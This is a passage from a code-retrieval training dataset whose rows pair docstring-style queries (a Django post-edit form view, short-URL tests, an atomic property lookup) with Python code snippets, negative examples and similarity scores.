"def get_posts(self):\n return self.blog_posts.all()",
"def get_all_blogs(cls):\n blogs = Database.find(collection='blogs',\n query={})\n #blogs will be a dictionary of blogs at this point\n return [cls.__dict_to_class(blog) for blog in blogs] #return a lis... | [
"0.6843838",
"0.66168576",
"0.64832556",
"0.643797",
"0.6422606",
"0.63961023",
"0.6386245",
"0.63789034",
"0.6268875",
"0.6239763",
"0.6238986",
"0.6229432",
"0.6159942",
"0.61539686",
"0.61382884",
"0.6066054",
"0.6027976",
"0.5964492",
"0.59064484",
"0.5799068",
"0.5790868... | 0.7582103 | 0 |
Displays a view that will allow form input. If pk is not NULL then show the post to edit. Otherwise it will be an empty form to create anew | def show_post_form(request, pk=None):
post = get_object_or_404(Post, pk=pk) if pk else None
header = "Edit \"{0}\"".format(post.title) if pk else "New Post"
title = "Edit #{0}".format(pk) if pk else "New Post"
if request.method == "POST":
form = PostForm(request.POST, request.FILES, instance=pos... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show_edit_post_form(user_id, post_id):\n\n post = Post.query.get_or_404(post_id)\n user = post.user\n\n return render_template('edit_post.html', post=post, user=user)",
"def show_edit_post_form(post_id):\n post = Post.query.get_or_404(post_id)\n\n return render_template('posts/edit.html', post... | [
"0.7231483",
"0.7201218",
"0.7087486",
"0.7010236",
"0.68301785",
"0.6799687",
"0.6771347",
"0.6679671",
"0.6574036",
"0.6568781",
"0.6561252",
"0.65269125",
"0.6515878",
"0.6515492",
"0.65128314",
"0.6512196",
"0.6499526",
"0.6496251",
"0.6495946",
"0.6487876",
"0.6430513",
... | 0.7842363 | 0 |
Tests adding of a Short URL with a custom key. | def test_add_with_key(self):
self.client.login(username='admin', password='admin')
response = self.client.post('/add/', {'url': 'http://example.com', 'key': 'example'}, follow=True)
self.assertShortURLCreated(response, 'example') | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_already_shortened_success(self):\n # Shorten a URL\n self.client.post(\n reverse('url_shortener'),\n data=json.dumps({'url': 'https://www.techcrunch.com/a-slug-here-starting-from-a'}),\n content_type='application/json'\n )\n\n # Try to shorten t... | [
"0.66355175",
"0.66069746",
"0.65604275",
"0.6440158",
"0.64186394",
"0.6341924",
"0.62792903",
"0.62442976",
"0.6228952",
"0.61976457",
"0.6176387",
"0.6163858",
"0.6097762",
"0.6049345",
"0.6034544",
"0.5974167",
"0.5925666",
"0.5920434",
"0.59131527",
"0.58411014",
"0.5808... | 0.75209296 | 0 |
Tests forwarding of a Short URL | def test_forward(self):
short_url = ShortURL.objects.create(url='http://example.com')
response = self.client.get('/%s'%(short_url.key))
self.assertEqual(response.status_code, 301) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def url_shortner(self):",
"def test_short_url(self):\n tweet_object = self.load_tweet('basic')\n tweet_text = self.api.html_for_tweet(tweet_object, False)\n # Make sure HTML doesn't contain the display OR expanded url\n self.assertTrue('http://google.com' not in tweet_text)\n s... | [
"0.70597917",
"0.700918",
"0.69712824",
"0.69603354",
"0.6934416",
"0.6462165",
"0.64400935",
"0.6436771",
"0.6412842",
"0.63884264",
"0.637923",
"0.63788974",
"0.632071",
"0.63126487",
"0.62797225",
"0.6258323",
"0.62535286",
"0.6141924",
"0.613619",
"0.61337805",
"0.610609"... | 0.7791865 | 0 |
Get the absolute property value with propertyname for the given atom. | def GetAbsoluteAtomicProperty(element='C',propertyname='m'):
if propertyname == "m":
return periodicTable.GetAtomicWeight(element)
elif propertyname == "V":
r = periodicTable.GetRvdw(element)
V = 4/3*pi*r**3
return V
elif propertyname == "Z":
return periodicTable.Get... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def GetRelativeAtomicProperty(element='C',propertyname='m'):\n \n CpropertyDic = float(GetAbsoluteAtomicProperty('C', propertyname))\n PropertyDic = float(GetAbsoluteAtomicProperty(element, propertyname))\n \n return PropertyDic/CpropertyDic",
"def get_property(self,name):\n return self.dp.... | [
"0.65785086",
"0.6322747",
"0.61566937",
"0.60482395",
"0.60195005",
"0.5999082",
"0.5951637",
"0.59448093",
"0.5930747",
"0.5896596",
"0.58638",
"0.585692",
"0.5847448",
"0.58387524",
"0.5810104",
"0.57515085",
"0.574562",
"0.5737195",
"0.5735811",
"0.5706954",
"0.5691982",
... | 0.71773916 | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.